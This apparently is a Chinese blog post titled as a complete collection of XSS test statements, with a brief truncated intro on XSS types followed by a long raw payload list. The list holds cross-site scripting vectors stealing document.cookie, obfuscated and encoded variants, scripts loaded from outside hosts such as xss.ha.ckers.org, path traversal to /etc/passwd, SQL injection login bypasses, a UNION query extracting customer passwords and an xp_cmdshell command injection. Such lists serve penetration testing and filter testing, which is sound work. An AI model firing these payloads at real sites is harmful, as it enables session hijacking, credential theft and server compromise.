XSS测试语句大全

关注

原创最新推荐文章于 2026-05-12 09:43:48 发布 1.6k 阅读 AI 写同款· GEO 优化 ›

跨站脚本漏洞 XSS漏洞一、文章简介 XSS漏洞是Web应用程序中最常见的漏洞之一。如果您的站点没有预防XSS漏洞的固定方法，那么很可能就存在XSS漏洞。这篇文章将带你通过代码层面去理解三个问题：什么是XSS漏洞？ XSS漏洞有哪些分类？如何防范XSS漏洞？二：三大分类反射型XSS：<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码（服务器中没有这样的页面和内容），一般容易出现在搜索页面。存储型XSS：&... 阅读详情

'><script>alert(document.cookie)</script> 
='><script>alert(document.cookie)</script> 
<script>alert(document.cookie)</script> 
<script>alert(vulnerable)</script> 
%3Cscript%3Ealert('XSS')%3C/script%3E 
<s&#99;ript>alert('XSS')</script> 
<img src="javas&#99;ript:alert('XSS')"> 
%0a%0a<script>alert(/"Vulnerable/")</script>.jsp 
%22%3cscript%3ealert(%22xss%22)%3c/script%3e 
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini 
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e 
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e 
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html 
%3f.jsp 
%3f.jsp 
&lt;script&gt;alert('Vulnerable');&lt;/script&gt 
<script>alert('Vulnerable')</script> 
?sql_debug=1 
a%5c.aspx 
a.jsp/<script>alert('Vulnerable')</script> 
a/ 
a?<script>alert('Vulnerable')</script> 
"><script>alert('Vulnerable')</script> 
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:/inetpub/wwwroot/?.txt'--&& 
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E 
%3Cscript%3Ealert(document. domain);%3C/script%3E& 
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= 
../../../../../../../../etc/passwd 
../../../../../../../../windows/system.ini 
/../../../../../../../../windows/system.ini 
'';!--"<XSS>=&{()} 
<IMG SRC="javascript:alert('XSS');"> 
<IMG src="/javascript:alert"('XSS')> 
<IMG src="/JaVaScRiPt:alert"('XSS')> 
<IMG src="/JaVaScRiPt:alert"(&quot;XSS&quot;)> 
<IMG src="/&";#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41> 
<IMG src="/&";#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> 
<IMG src="/&";#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> 
<IMG SRC="jav&#x09;ascript:alert('XSS');"> 
<IMG SRC="jav&#x0A;ascript:alert('XSS');"> 
<IMG SRC="jav&#x0D;ascript:alert('XSS');"> 
"<IMG src="/java"/0script:alert(/"XSS/")>";' > out 
<IMG SRC=" javascript:alert('XSS');"> 
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT> 
<BODY BACKGROUND="javascript:alert('XSS')"> 
<BODY ONLOAD=alert('XSS')> 
<IMG DYNSRC="javascript:alert('XSS')"> 
<IMG LOWSRC="javascript:alert('XSS')"> 
<BGSOUND SRC="javascript:alert('XSS');"> 
<br size="&{alert('XSS')}"> 
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> 
<LINK REL="stylesheet" HREF="javascript:alert('XSS');"> 
<IMG SRC='vbscript:msgbox("XSS")'> 
<IMG SRC="mocha:[code]"> 
<IMG src="/livescript:[code]"> 
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> 
<IFRAME src="/javascript:alert"('XSS')></IFRAME> 
<FRAMESET><FRAME src="/javascript:alert"('XSS')></FRAME></FRAMESET> 
<TABLE BACKGROUND="javascript:alert('XSS')"> 
<DIV STYLE="background-image: url(javascript:alert('XSS'))"> 
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html&#39;);"> 
<DIV STYLE="width: expression(alert('XSS'));"> 
<STYLE>@im/port'/ja/vasc/ript:alert("XSS")';</STYLE> 
<IMG STYLE='xss:expre/ssion(alert("XSS"))'> 
<STYLE TYPE="text/javascript">alert('XSS');</STYLE> 
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> 
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> 
<BASE HREF="javascript:alert('XSS');//"> 
getURL("javascript:alert('XSS')") 
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d); 
<XML SRC="javascript:alert('XSS');"> 
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><" 
<SCRIPT SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT> 
<IMG SRC="javascript:alert('XSS')" 
<!--＃e xec cmd="/bin/echo '<SCRIPT SRC'"--><!--＃e xec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"--> 
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> 
<SCRIPT a=">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> 
<SCRIPT =">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> 
<SCRIPT a=">" '' SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> 
<SCRIPT "a='>'" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> 
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> 
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> 
admin'-- 
' or 0=0 -- 
" or 0=0 -- 
or 0=0 -- 
' or 0=0 # 
" or 0=0 # 
or 0=0 # 
' or 'x'='x 
" or "x"="x 
') or ('x'='x 
' or 1=1-- 
" or 1=1-- 
or 1=1-- 
' or a=a-- 
" or "a"="a 
') or ('a'='a 
") or ("a"="a 
hi" or "a"="a 
hi" or 1=1 -- 
hi' or 1=1 -- 
hi' or 'a'='a 
hi') or ('a'='a 
hi") or ("a"="a 